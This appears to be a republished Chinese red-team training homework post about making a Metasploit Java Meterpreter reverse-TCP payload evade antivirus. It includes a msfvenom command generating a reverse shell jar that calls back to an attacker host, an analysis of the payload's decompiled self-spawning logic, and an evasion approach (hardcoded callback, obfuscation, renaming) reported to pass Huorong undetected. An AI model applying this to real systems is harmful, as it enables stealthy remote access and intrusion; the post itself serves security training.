前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队作业 | 免杀Meterpreter java马

红队作业 | 免杀Meterpreter java马

作者头像
Ms08067安全实验室
发布2022-02-10 08:59:02
9670
发布2022-02-10 08:59:02
举报
文章被收录于专栏:Ms08067安全实验室

文章来源|MS08067 红队培训班 第5期

本文作者:aeqaq(红队培训班5期学员)

按老师要求尝试完成布置的作业如下:

目标:

分析msf meterpreter java马的原理,然后自己写一个保留了核心逻辑的,来达到免杀效果。

1.生成马

代码语言:javascript
复制
msf6 > use java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx  LPORT=4444 W >text.jar

2.反编译分析源码

2.1用jd-gui反编译源码导出

也可以把jar包直接拖到idea里

2.2分析源码

MAINFEST.MF

jar包的签名文件,在里面找到加载入口类metasploit/Payload.class

metasploit.dat文件

里面存储了服务器端设置的ip和端口,还有一个Spawn参数

跟进到主类Payload进行分析,直接看main方法

最开始是一些读取文件和数据

接下来是做了一个文件的生成和删除,因为在metasploit.dat中,没有Executable这个属性,所以可以跳过

接下来是进入这个if判断,第一次的时候i==2,详细的在注释里面,因为代码水平较差,所以基本上每一步都解释了

这里主要是递归,创建了自己并且执行,然后把创建的都删了(i>0)的时候,就是Spawn参数>0的时候,是为了逃避杀软分析内存调用

下面一个else if应该是跳过的,看最后一个else,也就是i<=0的时候

核心:在这里执行字节码

3.尝试实现免杀

思路:

保留关键步骤,删去不必要的步骤,添加混淆步骤

在局域网进行测试

主要就是socket的建立和bootstrap方法保留下来

尝试方法:

1.写死ip和端口

2.添加混淆方法

3.更换方法,参数名字

尝试初期:总是timeout

Exception in thread "main" java.net.ConnectException: Connection timed out: connect

需要配合服务器端的msf监听器,去在Properties里把他设置的和msf端一样

火绒没报毒

回连正常

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-01-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 按老师要求尝试完成布置的作业如下:
  • 1.生成马
  • 2.反编译分析源码
    • 2.1用jd-gui反编译源码导出
      • 2.2分析源码
      • 3.尝试实现免杀
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档